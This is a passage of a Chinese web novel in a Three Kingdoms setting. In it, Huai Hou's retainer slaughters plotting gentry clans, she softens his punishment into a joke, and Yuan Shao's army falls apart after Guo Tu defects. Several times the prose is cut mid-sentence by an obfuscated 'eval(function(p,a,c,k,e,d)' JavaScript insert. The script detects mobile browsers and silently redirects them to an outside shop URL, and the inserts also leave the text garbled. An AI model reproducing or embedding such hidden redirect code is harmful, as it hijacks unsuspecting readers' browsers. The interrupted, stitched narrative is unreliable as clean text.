士兵先是把尸体上的金银首饰、玉佩扳指等值钱的物件都卸了,统一堆在一起;然后再把这一具具尸体拖上牛车。 无论生前是穿绫罗绸缎的世家家主,还是穿粗布麻衣的护院家丁;无论富贵贫贱、男女老幼,在此刻统统被毫无区别地堆叠在一起。 最后,士兵们提来一桶井水,冲刷干净门前的血迹,在朱漆大门上“啪”地贴上太守府的封条,打着吆喝,赶着牛车离去。 “啊~”一名年轻的折冲营士兵,因为熬了一宿,实在坚持不住,打了个哈欠。 这声哈欠似乎减轻了士兵们的煞气。 一围观的粗壮汉子,颤颤巍巍上前两步,鼓起勇气问道:“军爷,这是?” 话未说完,只见眼前的满脸疲惫的“军爷”,仿佛被踩了尾巴的猫,瞬间瞪大眼睛,惊恐地往旁边一跳:“不是我,我没有,别瞎喊。” 汉子:“?” 士兵的反应让他一头雾水。但他也看出了这群士兵们对自己并无恶意,甚至有些过分的“和蔼可亲”。于是,他再次上前一步,对着躲开的士兵抱了抱拳:“军爷——” “军爷”异常惊悚:“别叫我,我不是!” 汉子:“?” 他不解:“军爷?” “军爷”急得脸都红了,恨不得一蹦三丈远,远远地躲开这个发声源。 一旁同行士兵看到这一幕,忍不住笑道:“这位壮士,怀侯有令,谁敢以“军爷”称呼,自领十军棍。你这么叫,我们任谁都不敢答应一声。” 汉子:“……?” 这不一直都是这么叫的吗?当兵的,手里有刀,天生“高人一等”。老百姓见了当兵的,哪敢不叫一声军爷? 他虽然满心不解,但怀侯说啥就是啥。于是,他认真思考了一下称呼,试探性的开口道:“这位……小哥,请问这里发生了什么?这些大户人家,怎么一夜间都……” 小哥还沉浸在被叫“军爷”的巨大恐惧中:“你没叫我啊,刚才你不是在叫我。你们看清了啊,我没违规,不要挨军棍。” 十下军棍,足够让人十天半月下不了床了。 同行士兵踹了他一脚:“行了!你若还不回答,指不定又是两声‘军爷’了。” 小哥:“……” 回答前,他再次强调:“之前你喊的不是我。” 汉子:“……” 他能说什么?他只能从善如流:“是是,我刚才叫的是那头拉车的牛。” 小哥这才满意。他故意作压低声音、马上要说机密的神秘模样,却音量极高,确保周围的围观群众人人都能听到:“他们要造反!被蔺先生发现,带兵给诛杀了!” “什么?要造反?”汉子大吃一惊,下意识问道:“造谁的反?” “憨子,”一旁一位穿着儒衫的老者实在忍不住,柱起手杖敲了一下汉子的背,“诗云,‘普天之下,莫非王土,率土之滨,莫非王臣’。这是大汉的天下,你说造谁的反?” “哦,原来是造皇——”汉子舌头一转,把随口而出的“帝”一字给咽了下去。 只见他摆摆手,原本紧绷的神情放松下来。他一脸“那没事了”的无所谓表情,甚至还带着几分看热闹的闲心退回了人群。那眼神,明晃晃地在表达一个意思:反呗,谁爱反谁反,与我何干,唯有吃瓜。 士兵小哥:“……” 他不乐意了。 他作为原洛阳城的禁军,拖家带口跟着怀侯来到这河内郡,不是因为怀侯给了他更高的军饷、更多的田地,而是在洛阳大火、化作人间炼狱之时,那些高高在上的三公九卿们无一人出言相救,只有怀侯,那个瘦削的女子,说要救洛阳,说要带他们去救亲人。 从此,汉庭再无他们的立足之地,他们只是怀侯的兵! 只见小哥双臂抱胸,故意和同伴大声交头接耳,且大声地整条街都能听得见:“他们要造怀侯的反,还要攻入太守府!幸好蔺先生即时发现,不然太守府就完了!” “造怀侯的反……” 造怀侯的反。 造怀侯的反! 汉子先是愣了一下,满脸茫然,仿佛乍然听到了什么超出认知、根本不可能发生的事情;然后又忽然把“怀侯”、“太守府”词语串联,明白了小哥在说什么。 明白的一下秒,他浓眉倒竖,一双虎目陡然瞪大,一股难以遏制的怒气冲天而起:“谁敢动怀侯!” 汉子愤怒的咆哮:“老子的田是怀侯分的,老子的婆娘是怀侯从豪强手下救的,老子的女儿没怀侯的那口“读书粮”,早就饿死了!现在,你告诉我,他们要造怀侯的反?” 汉子爆怒:“谁她妈敢造反?他?就凭他?” 愤怒的汉子双手握拳,骨节咔咔作响。他左寻寻右望望,似乎想找件趁手的兵器,见实在没有,竟直接快步冲道牛车旁,“呸”的一声,将一口浓痰,狠狠地吐在了尸体上! “呸!死得好!杀得好!狗日的畜生!” 亲眼目睹汉子变脸的老者:…… 老者被这粗鄙的举动惊呆了,他伸出手杖想要阻止:“成何体统!死者为大,你怎可如此折辱……” 还没等话说完,他就被士兵小哥一把揽住了肩膀。 小哥似笑非笑看着他:“呦,看样子,老丈认识蔡家?” 老丈:“……” 不认识,不敢认识。 小哥意满离。 一行人驾着牛车离开。 消息像长了翅膀一样在街头巷尾迅速传开。得知这群世家是要造怀侯的反后,牛车所过之处,沿途的百姓不再有恐惧,反而纷纷涌上街头。 无数浓痰雨点般砸向了那些曾经不可一世的世家豪强。 听着“噗”“噗”“噗”的吐痰声和沿途一片骂声,压着车的士兵们别提多快活了,仿佛每一口痰和每一句骂,都是对他们的表彰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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队长没有回答。他猛地一挥铁锹,一大块泥巴“啪”的一声,精准地砸在了年轻士兵的脸上。 被糊了一嘴的小哥:“……” 小哥:“呸呸呸。” 队长:“就你话多。干活!” “哦哦。”小哥手忙脚乱地抹掉脸上的泥巴,不敢再吱声。 一时间,乱葬岗上只剩下铁锹切入泥土的“哧哧”声。 谁也没有再提这个话题。但在这些折冲营的士兵眼里,对那位怀侯的信任,终究还是掺杂了一丝身处乱世的忐忑与不安。 而远处,“正巧”路过一辆不起眼马车。车厢内,赫然坐着之前蔡氏门口,说出“诗云”的老者。 老者掀开窗帘的一角,目光复杂地望着军士的背影,以及那些被随意倾倒在土坑里、与奴仆家丁混杂在一起、再也认不出尊贵身份的世家遗骸。 良久,他放下窗帘,长叹道:“富贵万千,到头来,也不过是同样一抔黄土罢了。” 13. 第 13 章 正如许攸到死也没想到,自己机关算尽、天衣无缝的计划,面对一介平民书生竟然成了土狗瓦鸡、一触即溃;荀彧也没有想到,这么快就接到了孙墨的回信。 荀彧捏着那卷帛书,迟迟没有打开。 他有些忐忑。 一方面,他不希望忠心耿耿的蔺治平落得个人死灯灭的下场,甚至还可能死后都被众人唾弃;另一方面,他又非常清楚士林那套规则,只要怀侯还打算在这乱世中招揽人才、安邦定国,就不可能不给天下世族一个交代,就不可能不罚。 而且,不仅要罚,还得重重地罚。在世家眼里,肆意屠戮名门,死罪已然算轻,祸及家小、夷其族才是正常的惩罚。 对此,蔺治平倒是显得很笃定:“文若不必担心。主公向来宽容,她不会伤害我家人,甚至待我死后,家人还会得到抚恤。” 荀彧:“……” 老实说,他不太相信。自古成大事者多薄情,在江山社稷和悠悠众口面前,一个人的命,太轻了。 他深吸一口气,询问当事人和神色同样凝重的袁基的意见:“打开?” 袁基默不作声,他也很忐忑,甚至比荀彧更害怕看到那个残酷的结局。 蔺治平这个当事人反而成了最放松的一个。他坦然点点头:“开吧。无论结果如何,我都接受。” 荀彧手一抖,帛书便尽数展开。 开头几个特意加重加粗的大字,明晃晃地撞进了荀彧的眼中: “怀侯大怒,曰:罚,重罚。” 他读到。 荀彧心头一抖,眉头一皱。果然如此。意料之中,情理之中。 蔺治平倒是没多大反应,仿佛心中的石头终于落定。他长长吐出一口气,压下心中说不清道不明的一丝丝失望。 “我在想什么呢?”他心中自嘲道,“有谁能有主公的基业重要。” 荀彧尽量压住翻涌的思绪,目光向下移动,声音有些干涩:“……罚他七天不能吃饭。” 荀彧:? 声音戛然而止。 这是什么惩罚? 荀彧眨了眨眼睛,再次看向帛书,确认自己没有看错。然后,他不禁抬头看了看蔺治平。 蔺治平显然也没料到是这样的“重罚”,一副状况外的茫然表情:? 七天不吃饭,但没说不能喝水。七天不喝水会死人,但七天不吃饭不会。所以虽然会受点罪,但比丧命、夷族比起来,好太多了。 但这就意味着,这根本没法平息士林的愤怒。也就是说,这事的后果,怀侯选择自己硬扛! 荀彧说不上自己是失望于主公的不顾大局,还是庆幸有这样一个自己接锅自己扛的上司。他怀着难言的复杂心情,继续往下读: “注,不能吃饭,但点心和菜可以……” 荀彧:“……” 蔺治平:“……” 袁基:“……” 荀彧嘴角不受控制地抽动了几下,他机械地往下看,但发现旁边有小字,于是他开始棒读旁边的小字。这些小字歪七扭八,一看就和信的正文不同,是怀侯亲自补上的:“实在想吃的话,面食也不算饭。” 凤阁的三人:“……” 这有商有量的架势,听得袁基一度幻视,如果当时蔺治平在场,这七天的惩罚,甚至都能讨价还价到三天。 不对,蔺治平才不会和主公讨价还价…… 不对,这是讨价还价的事吗?!这不是很严重、相当严重、非常严重的事吗?!为什么搞得跟下五子棋输了一样随便?! 下五子棋输了还会真心实意的损失彩头呢,这惩罚和没有到底有什么区别! 袁基一度怀疑这封信是假的。 他忍不住凑到荀彧身边,亲自去看原文。 只见原文字迹轻舞飞扬,不羁的同时又有藏不住的锋锐,仿佛一柄藏不住寒光的匕首。 袁基拧眉:“这字……不是一般人能写出来的,但也绝不是文和的字迹。” 贾诩的字迹非常内敛,锋芒不显。就像他这个人一样,只有细细品味,才能捕捉到极少流露出的、致命的锐利。 荀彧:“……” 之前被信的内容震撼住了,以至于他都没有第一时间去关注字迹。此刻定睛一看,这字迹,他其实非常熟悉。 “……这是郭嘉、郭奉孝的字。他和我同为颖川人,现下,他应该正在袁绍帐下效力。但现在看来,他也来了河内,并且,转投怀侯麾下了。”荀彧的声音里透着一丝惊喜与感慨,“就算不知奉孝的字迹,但看这怀侯亲笔,也可断定,这封信不是伪造。” 袁基低头看那歪七扭八的字,深以为然地点了点头。 怀侯的字迹很难描述,就像是多年没写过字、但脑子里却对字形很熟悉的人写出来的。每笔都稚嫩得仿佛初学者,但每个字的结构比例却都有中奇妙的章法可循。别人想模仿几乎不可能。因为写字是有肌肉记忆的,一旦练习时间长久,便很难回到初学时候那种纯粹“笨拙”笔力;而真正的初学者,只会依葫芦画瓢,不可能掌握每个字的内在的平衡感。 “所以这事,就这么完了?”袁基简直难以置信,“就这么……轻拿轻放了?” 荀彧同样难以置信:“信还没完……” 此时不用他读了,因为蔺治平也从恍惚中凑了上来。 过于离谱的内容还是别读了、自己看吧。好歹有个缓冲。 信上接上来的内容,就没有之前的震撼了,充满了“圆谎”的气息。 无非是说你们不是逮着了袁绍军师和家主们聚会么,铁证如山!证明治平是有证据才去的;还有那抓到的那细作,送牢里“安排”一下,细作扛不住吐出点什么不是很正常?还有最后搜出来的布防图,这说明什么?说明太守府一定是得到消息才去抓的啊。 总而言之,言而总之,中心思想就一个,那就是我们没错!我们是有充足证据的!我们是正当防卫! 最后的最后,信中重重强调了一句,这事完全和蔺治平个人无关:“这是怀侯的‘锦囊妙计’,他依计行事而已。无论结果如何,都用不着他来‘牺牲’。” ‘牺牲’旁边划了一道线,表示强调。 蔺治平眼框一红。 三人继续往下看。看着看着,他们的眼前,都仿佛出现了那恣意飞扬的女子。 鲜衣怒马,豪情万丈。 她说:“士林不会因为我杀一个人就对我改观;天下也不会因为我救一个人而变得唾手可得。” “他们只需要知道,顺吾意则生,逆吾心则死。” “——别动不动就拼死相搏,他们的命能比得上你的?受罚! ” 蔺治平:…… 不知不觉间,他已经是泪流满面,声音哽咽:“……治平,认罚。” ----------------- 关于这封信,其实孙墨和郭嘉吵了半天,而贾诩则跟个没事人一样,围观了全程。 一开始接到荀彧发来的战报的孙墨,自己都愣住了。她也没想到怀县的危机,还没爆发就被掐灭在了萌芽中。 短暂的错愕之后,她觉得,不愧是自己!第一次锦囊妙计就大获成功,这手操,绝了! 她不禁得瑟起来,忍不住将战报在两大谋士前晃晃,挑眉道:“看,如何?” 那表情,似乎在说:怀侯妙计安天下,爽刷敌仇不折兵。 都来夸我! 郭嘉、贾诩:…… 饶是这几天极其热衷哄人开心的郭嘉,在此时也夸不出口了。他眼珠一转,开始打边鼓:“蔺治平此番举措,虽然解了危局,但定不是怀侯授意……” 孙墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849813|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 闻言当场大怒:“怎么不是我授意?我就不能想出这么优秀的计策?” 郭嘉:“……” “咳咳咳!” 他即时刹住了即将说出的话,然后就导致自己被口水狠狠呛住了,咳得惊天动地。 待到好不容易喘口气,他苦口婆心憋出一句:“怀侯,您知道这事如果传开,后果多严重吗?” 孙墨不觉得很严重:“他们没反前,杀了会遭到口诛笔伐;但他们都密谋造反了,杀了又有什么关系?” 郭嘉叹了一口气:“问题就在于,这些世家还只是密谋,没反啊。” 孙墨:“准备反不算反?” 郭嘉摇摇头:“当然不算。” 孙墨一个白眼过去:“凭什么不算?莫须有的东西都能当证据,敌人军师的头颅都摆这了,还不能杀?难道非得等刀架在脖子上,才能还手?” 郭嘉:“就凭他们是世家。” 孙墨的白眼快翻到天上去了。 郭嘉:“……” 虽然怀侯没有说话,不过她那极度嫌弃的表情,明晃晃地在表达两个字:我呸。 他有些求助性地看向一旁的贾诩:怀侯怎么一点政治常识都没有,这正常吗? 贾诩看到了郭嘉的信号,但他当作没看到,一言不发。 郭嘉:“……” 他无奈,只能自认倒霉,从头到尾给孙墨说明了屠戮世家的“罪大恶极”,其中的政治红线在何处,会引发多么多么严重的后果。 他扒拉扒拉,嘴巴一张一闭,说了老半天,说得口干舌燥。结果,孙墨就用一句话顶了回来:“日后得胜,自有大儒为我辩经。” 郭嘉愣是被堵的哑口无言。 他嘴巴张得老大:“但你还没得胜啊?” 孙墨充分发挥理科生的逻辑性:“那你给我谋划谋划,解决这事。” 郭嘉磨磨牙:“……杀了。” 孙墨一拍桌子:“滚。” 郭嘉退而求其次:“……不杀,那罚军棍,打残以儆效尤。” 孙墨继续拍桌子:“滚。” 郭嘉投降:“那你想怎么办?软禁?” 孙墨眼中充满震惊仿佛听到了什么败家子言论:“好好一个人才,你居然不用?养起来吃白饭?你舍得吗?” 郭嘉:“……”这是用不用、舍不舍得的问题吗? 他放弃了挣扎,干脆摆烂:“那你想怎么办?” 孙墨撑着下巴,认真斟酌道:“让他三天不准吃点心?” 郭嘉:“……” 他不说话,他就默默着看着孙墨,希望怀侯能从他的眼神中,自己发现自己的离谱。 他如愿了。 孙墨成功意识到这个惩罚说出去不太好听,于是一拍手,做出了巨大让步:不准吃饭。 “对外就说不准吃饭,不准吃饭很严重了,会饿死人的,充分体现了我的怒气。至于实际嘛,懂不懂菜不算饭。”孙墨说完,那是相当满意。 郭嘉:“……” 他严重怀疑自己看错了人,神情异常的严肃:“怀侯,一人之命,与河内、这天下大业,孰更重要?” 孙墨呵呵一笑:“我若连身边人都护不了,要这江山又有何用?” 郭嘉:“……” 他扭头看向贾诩,希望更了解怀侯的他,能从大局出发,开口帮着说服护短起来完全不讲道理的怀侯。 哪知,这位毒士勾起了一抹由衷的笑意:“主公护短,人尽皆知。奉孝,你就别白费力气了。” 郭嘉:“……” 等等。 你叫怀侯什么? 你不是一向称‘怀侯’的吗?这么离谱的发言居然让你认主了? 你在想什么? 郭嘉震惊了。他突然感觉这个世界,背叛了他。 14. 第 14 章 “我不写,我坚决不写。” 郭嘉一边嘟囔,一边嫌弃地看着孙墨强行塞给自己的毛笔,身体却很诚实地跪坐在了案几前,认命地开始给荀彧写回信。 孙墨在一旁指手画脚:“要严厉,体现我的愤怒、我的痛心疾首。” 郭嘉完全不走心地落笔:怀侯大怒。 孙墨凑过去一看,继续提要求:“要体现惩罚的严重性。” 郭嘉一脸便秘地继续落笔:罚,重罚。 孙墨摸了摸下巴,又表示:“虽然惩罚很严重,但实际上不必严重。” 郭嘉:…… 他手一抖,差点在信上划出一道黑痕。 他笔一递,反抗道:“您来。” 孙墨也不矫情,拿起笔就补上了一行歪七扭八的小字。 “不能吃饭,但点心和菜可以……” 郭嘉看着那行字,只觉得自己的眼睛受到了强烈的冲击。他颖川郭奉孝的朋友圈里,哪一位不是写得一手好字? 这信要是流传出去,单凭这行字,他就没脸见人! 他忍不住夺回毛笔,任劳任怨地叹气:“您说,我写。” 孙墨也不介意,她是不明白这时代士子对字好看的底线就是她追求的上限。 她乐得有人代笔,言简意赅地提出了核心诉求:“充分发挥想象,将此事变成他们动手在先,我们是被迫防御。” 郭嘉灌了一口酒,随意抹抹嘴,根本不需要任何思考搬,就开始笔走龙蛇,下笔如有神。 什么是“铁证如山”、怎么来“屈打成招”、哪来的消息源头……片刻间一气呵成。 她虽然知道郭嘉是三国顶尖的谋士,但亲眼看到他这种随口颠倒黑白、且毫无破绽的业务能力,还是忍不住咋舌: “你早就想好了?” 郭嘉放下笔,除了未干的墨迹,一脸睥睨:“雕虫小技耳。除了你那神奇哨子的震天雷,我的计策还没失败过。” 孙墨毫不吝啬地向他竖起了一根大大的大拇指。 郭嘉一喜,刚准备做作地谦虚一下,顺便夸句“怀侯慧眼识珠也不赖”时,就看见孙墨手臂一弯,那根大拇指直接掉头指向了自己。 她大言不惭,满脸桀骜:“我果然慧眼识珠。” 郭嘉:“……” 呵。 一旁的贾诩看着这两二十出头的年轻人玩笑,自觉坐下来翻看军务,掩去了眼底流露出的轻松笑意。 谋身,谋国,谋天下。 每个人都有自己的所求。 荀彧欲求汉室中兴、国泰民安;袁基、荀攸为保家族不败、门楣长青;蔺治平要助怀侯登临绝顶、报知遇之恩;郭嘉只希望人生绚烂、不留遗憾,至于是不是昙花一现,他不在乎。 而他贾诩,先求身家性命,再谈其他。 他不在乎主公是贤是愚,也不在乎主公是察纳雅言还是刚愎自用。因为他知道,一旦将时间的尺度拉长,乱世当中,一时豪杰多如过江之鲫,而最终成就大业的,从来不是由某一计某一言决定的。 他要的,是在这个乱世,无论成败,自身都绝对安全。 怀侯孙墨,也许不是普遍意义上的完美主公,但在他贾诩的眼中,堪称完美。 她大权在握,却只把权力当做手段,而不是自己的所有物;她出身不凡,却并不存在藐视众人的傲慢;她志在天下,却能为了身边人毅然放弃得天下的捷径…… 究竟是什么样的家族,才能养出这样的人物? 贾诩无法理解,但不妨碍他做下决定。 ----------------- 汲县,袁绍大营。 当郭图看到被送来的、许攸的人头的时候,就知道这次攻打河内,亏麻了。 血本无归。 心腹谋臣许攸被杀,上将颜良、文丑也被无名之士斩杀。而对方的最大损失,大概就是没什么损失。 怀县这个背地里的战场打不开局面,那只能指望明面上的汲县战场和野王战场了。 野王不用多说,催了几次,那该死张杨就是不动弹,打定主意要等汲县这分出胜负在做打算;至于汲县,那就更不用多说了。刚刚才被人打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849814|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一波猛的,还没能缓口气,主帅又直接被气昏了。 这再往下发展…… 郭图自己都几乎都能想到,自己要是继续坚守不出,徐晃肯定会去分兵打朝歌,直接绝了粮道,断了大军的后路。到时候,这四万大军回不回得去,还是个未知数。 不,现在根本不是担心大军死活的时候。 他得先担心担心自己! 这次主公下的攻打河内的决策,可是自己和许攸一力促成的。现在却大败而归,损兵折将。许攸死了倒是一了百了,但自己回去后怎么办?以主公那性子,一旦追究责任,自己首当其冲! 我还不想去陪许攸! 想到这里,郭图冷汗直冒,里衣湿透。 他一边费力地把袁绍拖上榻,一边飞速地盘算袁绍醒后的应对之策。 思来想去良久,在生死的巨大恐惧下,他做出了一个堪比原著线上的许攸的举动:与其回去被砍头,还不如直接反水、当场立功! 于是当夜,趁着夜色掩护,他啥细软也没收拾,随意找了匹不起眼的马,单人单骑,就疯狂奔向了徐晃的大营。 半个时辰后,郭图被亲兵五花大绑押入了大账。一入帐,他就迫不及待地喊出了筹码:“我乃袁绍的军师,今弃暗投明,愿献上袁军全盘布防与粮草辎重所在!” 帐内的众人:…… 空气陷入了短暂的死寂。 在座的诸位,除了荀攸的脸色一如既往的平静如水,剩下的徐晃、张辽、刘关张三兄弟,都是一脸难以掩饰的鄙夷。 张飞毫不客气地冷笑一声,刚要开口,就被刘备拉住。 关羽虽未开口,但他将脸偏向一旁,仿佛多看此人一眼都会脏了自己的眼睛。 荀攸客客气气仔仔细细地等郭图将袁绍大营的虚实、粮草囤积的位置等全部交代完毕后,才吩咐亲兵道:“‘请’郭先生‘休息’。” 郭图如蒙大赦,长长地舒了一口气。他知道,自己的命算是保住了。 至于“前”主公袁绍,以及那四万即将面临灭顶之灾的河北大军,谁在乎呢? 15. 第 15 章 好不容易从昏迷中清醒过来的袁绍,只觉得头痛欲裂。 他知道许攸死了,让河内自己从内部瓦解的打算是彻底失败了。不仅如此,正面战场更是挫败。对方那几个将领,明明都些名不见经传的小人物,打起来却一个比一个得难对付。尤其是那个红脸和黑脸的,几刀就斩了自己的大将。 袁绍面部肌肉僵硬的颤动两下,他不得不承认,这次攻打河内郡的计划,是完全失败了。 但是没关系。他压下心中的屈辱和不甘。 虽然折了颜良文丑,许攸也死了。但是这四万大军的底子还在,还没到伤筋动骨的程度。只要剩下的大军可以全身而退,那他就不算败。 他有些虚弱地挥了挥手:“来人,叫郭图过来。” 计策失败的账日后再算,现在的当务之急,是如何稳住军心,将人马须头须尾的带回渤海。 留得青山在,不怕没柴烧。 “报——军师不见了!” 袁绍:? 他愣了一下,还没反应过来,就听到了小兵接下来的话:“据斥候说,军师、军师他……” 小兵犹犹豫豫不知道该不该说接下来的话。 袁绍升起一股莫名的怒火,他把高音量、烦躁地吼道:“说!” 小兵一个哆嗦:“……据斥候说,军师他往敌方大营去了!” 往敌方大营去了? 敌方大营! !! 背叛! 郭图背叛了自己! 刚醒过来没多久的袁绍,只感到一股从怒火直充天灵盖,他的脸色在瞬间变得通红。 “他、他……” 袁绍手指颤抖着指着空气,目眦欲裂。还没等下一个字出口,那股不断升腾的怒气便如江河决堤般奔涌而出。 “庶子!噗——” 一股殷红的鲜血从袁绍的嘴角溢出。 竟然是被生生气吐了血。 他眼睛一番,竟是又昏了过去。 小兵看着再次昏迷的主帅,顿时惊慌起来。想上前看看袁绍的状况,但又畏畏缩缩地不敢靠近。原本,这些事情都由郭图这个军师接手,但由于郭图跑了,他只得慌慌忙忙找其他的高层汇报。 但是,另外能拍板的高层——颜良和文丑,也凉了。 于是,山中无老虎,猴子们你望望我我望望你,谁都不敢扛旗当这个大王。 剩下的中高级将领围在袁绍塌前:开玩笑,这是越权,这是要担责任的。谁下了命令,没问题还好,顶多是个越权;但一旦出了问题,主公第一个就斩了你!再退一步说,就算你指挥得当,但以自家主公对权力的掌控欲,这种越权指挥的行为也是给他在上眼药好吗。以后说不定就因为左脚先迈入了帐篷,把你咔嚓了。 多做多错,少做少错,不错不做。 “要不,我们把主公喊醒?”一个将领小心翼翼地提出了方案。 “……”一众将领就这样看着他。 这是吐血昏迷,不是睡着;要喊醒,必须得上一些激烈的手段。 谁敢去做。 一众将领再次你望望我、我望望你,意为:谁去弄醒? 你望望我,我望望你。 半响,还是提出“喊醒”主公的将领,尴尬而不失礼貌的找补:“……要不,还是等等?” “……” 等等。这对他们自己的利益来说,是最优解了。不得罪主公,不逾矩,不担责,任谁也挑不出错处。但是对于整个大军的生死存亡,只能说是看着眼前的火星要点燃整座山林,但是却选择了无动于衷、啥也不干。 “等等好,等等可以。” 终于有一个人打破了沉默,其他将领纷纷如释重负,连声附和起来: “可以可以。” “没问题,赞同。” “就这样办,想必主公也没法——不会怪罪我们。”一不小心秃噜出真心话的将领,发现自己失言,生硬的转折话题,“军师投奔对面了,我们的布防、粮草什么的,要不要调拨一下?一时半会移不了的,也要重点布防一下、以防劫营?” 众人:…… 所有人都对他怒目而视:你得到了调拨命令了吗你就调?你有这个胆子,怎么不去叫醒主公?你怎么哪壶不开提哪壶?装做不知道不好吗?大家一起等主公醒,不好吗? 自知失言的某位干笑了两声:“……哈哈哈,没事没事,我刚才什么都没说,我也啥都不知道。诸位,若没其他事的话我就先走了,营中还有军务要处理,哈哈……” …… 众位将领也纷纷离开。但他们回到各自的营帐后,第一件事,就是下令让自己的亲兵衣不离甲、马不卸鞍,随时准备战(逃)斗(命)。 ----------------- 其实荀攸是作了对方发现军师跑路、紧急调整部署的准备的。在他的预想中,在明知有掌握了军队全局部署的人叛逃的情况下,怎么也该至少做那么一些的调整,比如说转移部分粮草、增加一下布防,甚至是将计就计,故意做个布置,埋伏一下敌军,这都是有可能的。 他甚至特意留了张辽在身边,就是为了防止出现什么突发状况好去救援。 但是,但是这怎么和预想的不对? 谁能告诉我,为什么打得这么这么顺畅啊? 刘关张三兄弟,按照郭图给的路线,长驱直入,如有神助,根本没遭到什么有效的抵抗,就直接突入了粮仓,二话不说,开始猛猛放火。 浓烟直冲云霄。 “好火,烧得好!”张飞兴奋地哈哈大笑:“怎地如此废物、一点防备都没有?大哥,我们不如直奔中军,斩了袁绍的鸟头,再给怀侯送上一份大礼!” “此计甚妙,”关羽一抚长髯,随手又砍到一个小兵,“如此,怀侯之恩,方可回报一二。” 刘丶师从卢植丶有政治头脑丶备:“……” 他要是单纯是个武将的话,也不会每次遇见人,第一句话总是“我乃汉室宗亲”了。 他很明白,袁绍可以败、可以逃、也可以被抓。但是,不能死。至少,不能在怀侯没发话的时候,就死。 他赶忙止住自己的二弟三弟:“突袭中军由徐将军负责,切莫贪功——” 话音未落,就见流行马来报:“将军,军师有紧急军令!” 刘备一个激灵。自己这边进军顺畅、不曾有问题,难道是徐将军那边遭遇了埋伏? 流星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849815|211802||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 马传信:“此次袭营,敌军毫无防备,一战可定。军师说……不用烧粮了,赶紧救火,抢救粮食!” 刚刚还激情夸烧得好的张飞:“……” 他只觉得有只蚊子飞上了脸,被他“啪”一下拍死了。 刘备望着熊熊燃烧的大火,以一种难以言喻的微妙心情,艰难回了一个字:“诺。” 同样被打脸的荀攸:…… 我能怎么办?我也很绝望啊!谁知道对面这么实诚啊! 有些重点目标非常重点,即使知道对方可能有所布置,也必须去探一探、打一打。为此,荀攸熬了个通宵,熬红了眼,废了老大心思,推演无数中可能,才整理出了一份应急方案,交给各位将领。 结果,唉嘿,对方部署动都不带动的,绞尽脑汁、费尽全力结果全打在了棉花上! “恭喜先生,此战大胜!”一旁的郭图沾沾自喜上来“祝贺”。这下,自己可立了件大功。听闻怀侯从不吝啬,不知自己这次能得到什么奖赏。 郭图美滋滋。 荀攸:…… 他本来还想着,借敌方部署变动的契机,顺理成章打压一下郭图。毕竟临阵叛主的人,他是不放心放在主公身边的。尤其是自己主公还是个很没心机、逮谁信谁的人。 这下好了。这样一搞,郭图的“大功”是板上钉钉了。 荀丶一代谋主丶算无遗策丶攸:…… 他略微有些破防。 同样破防的还有徐晃。 他负责冲击中军大营。 中军大营,一向是防守的重中之重。即使知道中军在哪、兵力如何,也从来是个难啃的硬骨头。更不要说,敌方得知消息后,可能专门的针对了。 重担在身,他做足了充分的准备,帐下那三百的河东亲兵,各个酒足饭饱,擦刀养弓,准备迎接一场恶战。 结果, 徐晃初入敌阵,看见敌方将领1。他领兵冲击——对方一股脑跑了。战功没了。 徐晃再入敌阵,看见敌方将领2。他再次领兵冲击——对方一股脑跑了。战功又没了。 徐晃三入敌阵,看见敌方将领3。他再次领兵冲击——对方一股脑跑了。战功再次没了。 徐晃:…… 你们还有一点作为统兵将领的尊严吗?战都不战直接跑? 他就这么一直到了中军大营,徐晃寻思着这怎么着也能捞点战功吧,然后他就看见了,一座空营。 徐晃:…… 自幼熟读兵法的他,知道此时不该计较个人的得失,应该站在全局的角度来看,不费吹灰之力就打了如此胜仗,应该高兴,对,应该高兴…… 但是战功没了,一点没有啊! 他扭头,望着那熊熊燃烧的粮仓,满满都是羡慕嫉妒恨:这都是功劳啊! 徐晃假想中的刘备三兄弟:烧粮仓,白捡的功劳。 实际上的刘备三兄弟:正狼狈的满场救火,抢救正在化为灰烬的“功劳”。 袁绍帐下、跑路尤其丝滑、绝不背锅的众多将领:深藏功与名。 至于等到孙墨得知汲县大胜居然是这么个原因后,怎么笑得满床打滚并且立即又想方设法给蔺治平送了几车奖励的事,就是后话了。 16. 第 16 章 